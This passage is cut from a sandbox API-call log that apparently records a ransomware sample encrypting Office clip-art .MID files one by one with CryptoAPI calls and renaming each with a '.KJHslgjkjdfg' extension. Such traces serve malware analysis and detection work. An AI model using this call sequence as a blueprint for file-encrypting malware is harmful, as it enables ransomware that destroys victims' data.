dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0206.361] CryptDestroyKey (hKey=0x9b6628) returned 1 [0206.361] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0206.361] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0206.362] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0206.362] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0206.362] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0206.362] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0206.362] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0206.362] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0206.362] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.362] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1a6b, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1a6b, lpOverlapped=0x0) returned 1 [0206.363] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1a70, dwBufLen=0x1a70 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1a70) returned 1 [0206.363] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.363] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1a70, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1a70, lpOverlapped=0x0) returned 1 [0206.363] CryptDestroyKey (hKey=0x9b6628) returned 1 [0206.363] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1b44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.364] SetEndOfFile (hFile=0x130) returned 1 [0206.364] GetProcessHeap () returned 0x990000 [0206.364] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0206.364] GetProcessHeap () returned 0x990000 [0206.364] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0206.364] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\paper_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\paper_01.mid.kjhslgjkjdfg")) returned 1 [0206.366] CloseHandle (hObject=0x130) returned 1 [0206.366] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x195b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PARNT_01.MID", cAlternateFileName="")) returned 1 [0206.366] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0206.367] GetProcessHeap () returned 0x990000 [0206.367] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0206.367] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0206.367] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0206.367] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x5, lpOverlapped=0x0) returned 1 [0206.369] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0206.370] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0206.370] GetProcessHeap () returned 0x990000 [0206.370] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0206.370] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0206.370] CryptDestroyKey (hKey=0x9b6628) returned 1 [0206.370] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0206.370] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0206.370] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0206.370] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0206.370] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0206.370] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0206.370] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0206.370] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0206.370] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.371] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x195b, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x195b, lpOverlapped=0x0) returned 1 [0206.371] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1960, dwBufLen=0x1960 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1960) returned 1 [0206.372] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.372] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1960, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1960, lpOverlapped=0x0) returned 1 [0206.372] CryptDestroyKey (hKey=0x9b6628) returned 1 [0206.372] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1a34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.372] SetEndOfFile (hFile=0x130) returned 1 [0206.373] GetProcessHeap () returned 0x990000 [0206.373] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0206.373] GetProcessHeap () returned 0x990000 [0206.373] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0206.373] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_01.mid.kjhslgjkjdfg")) returned 1 [0206.375] CloseHandle (hObject=0x130) returned 1 [0206.375] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1652, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PARNT_02.MID", cAlternateFileName="")) returned 1 [0206.375] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_02.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0206.376] GetProcessHeap () returned 0x990000 [0206.376] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0206.376] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0206.376] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0206.376] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xe, lpOverlapped=0x0) returned 1 [0206.378] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0206.378] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0206.379] GetProcessHeap () returned 0x990000 [0206.379] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0206.379] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0206.379] CryptDestroyKey (hKey=0x9b6628) returned 1 [0206.379] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0206.379] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0206.379] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0206.379] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0206.379] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0206.379] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0206.379] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0206.379] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0206.379] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.380] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1652, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1652, lpOverlapped=0x0) returned 1 [0206.381] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1660, dwBufLen=0x1660 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1660) returned 1 [0206.381] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.381] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1660, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1660, lpOverlapped=0x0) returned 1 [0206.381] CryptDestroyKey (hKey=0x9b6628) returned 1 [0206.381] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1734, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.381] SetEndOfFile (hFile=0x130) returned 1 [0206.384] GetProcessHeap () returned 0x990000 [0206.384] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0206.384] GetProcessHeap () returned 0x990000 [0206.384] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0206.384] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_02.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_02.mid.kjhslgjkjdfg")) returned 1 [0206.385] CloseHandle (hObject=0x130) returned 1 [0206.386] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x215a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PARNT_03.MID", cAlternateFileName="")) returned 1 [0206.386] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_03.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0206.387] GetProcessHeap () returned 0x990000 [0206.387] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0206.387] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0206.387] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0206.387] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x6, lpOverlapped=0x0) returned 1 [0206.390] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0206.390] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0206.390] GetProcessHeap () returned 0x990000 [0206.390] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0206.390] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0206.390] CryptDestroyKey (hKey=0x9b6628) returned 1 [0206.390] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0206.390] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0206.390] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0206.391] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0206.391] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0206.391] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0206.391] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0206.391] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0206.391] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.391] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x215a, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x215a, lpOverlapped=0x0) returned 1 [0206.392] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2160, dwBufLen=0x2160 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2160) returned 1 [0206.392] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.392] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2160, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x2160, lpOverlapped=0x0) returned 1 [0206.393] CryptDestroyKey (hKey=0x9b6628) returned 1 [0206.393] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2234, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.393] SetEndOfFile (hFile=0x130) returned 1 [0206.396] GetProcessHeap () returned 0x990000 [0206.396] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0206.396] GetProcessHeap () returned 0x990000 [0206.396] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0206.396] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_03.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_03.mid.kjhslgjkjdfg")) returned 1 [0206.397] CloseHandle (hObject=0x130) returned 1 [0206.397] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x17b6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PARNT_04.MID", cAlternateFileName="")) returned 1 [0206.397] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_04.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0206.399] GetProcessHeap () returned 0x990000 [0206.399] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0206.399] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0206.399] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0206.399] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xa, lpOverlapped=0x0) returned 1 [0206.402] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0206.402] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0206.402] GetProcessHeap () returned 0x990000 [0206.402] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0206.402] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0206.402] CryptDestroyKey (hKey=0x9b6628) returned 1 [0206.403] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0206.403] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0206.403] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0206.403] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0206.403] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0206.403] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0206.403] CryptImportKey (in: 